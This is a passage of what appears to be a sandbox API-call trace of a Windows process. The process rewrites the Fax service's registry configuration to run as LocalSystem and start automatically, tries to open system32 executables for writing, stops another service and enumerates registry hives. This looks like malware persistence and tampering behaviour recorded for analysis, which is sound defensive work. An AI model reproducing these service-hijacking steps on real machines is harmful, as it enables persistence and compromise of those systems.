hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.359] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.360] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.360] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.361] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.362] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0260.362] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.362] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.363] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.363] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0260.363] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\fxssvc.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\fxssvc.exe" [0260.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0260.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0260.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0260.363] LocalFree (hMem=0x7e4b18) returned 0x0 [0260.363] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0260.364] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x2) returned 0x803990 [0260.364] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.365] CloseServiceHandle (hSCObject=0x803990) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.366] RegCloseKey (hKey=0xc4) returned 0x0 [0260.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0260.366] RegCloseKey (hKey=0x150) returned 0x0 [0260.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0260.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0260.366] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0260.366] CreateFileW (lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.366] GetLastError () returned 0x20 [0260.366] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0260.367] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0260.367] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0260.367] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x8038a0 [0260.367] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0260.367] GetLastError () returned 0x425 [0260.367] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0260.368] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.368] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.368] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.370] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.370] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 